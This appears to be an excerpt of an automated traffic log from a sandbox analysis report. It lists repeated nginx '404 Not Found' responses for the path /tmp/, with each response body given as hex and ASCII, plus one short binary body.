Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:27:25 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:27:25 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:27:27 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:27:27 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:27:30 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:27:34 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:27:35 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:27:38 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:27:39 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:27:40 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:27:42 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:27:43 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:27:44 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 00 00 d8 80 d7 bd 9d d9 a1 98 be 23 cd c5 88 81 d0 9e 5c 20 5f 24 14 a6 60 44 aa ae 1e bd ca b6 e5 12 9c 21 c1 f7 6c 73 1b 98 8f 9d cb 77 c0 37 1b 14 ba 11 9e 58 72 56 1a b8 83 70 Data Ascii: #\ _$`D!lsw7XrVp
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:27:48 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.26.0Date: Sun, 01 Sep 2024 16:27:49 GMTContent-Type: text/html; charset=utf-8Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 74 6d 70 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /tmp/ was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr></body></html>
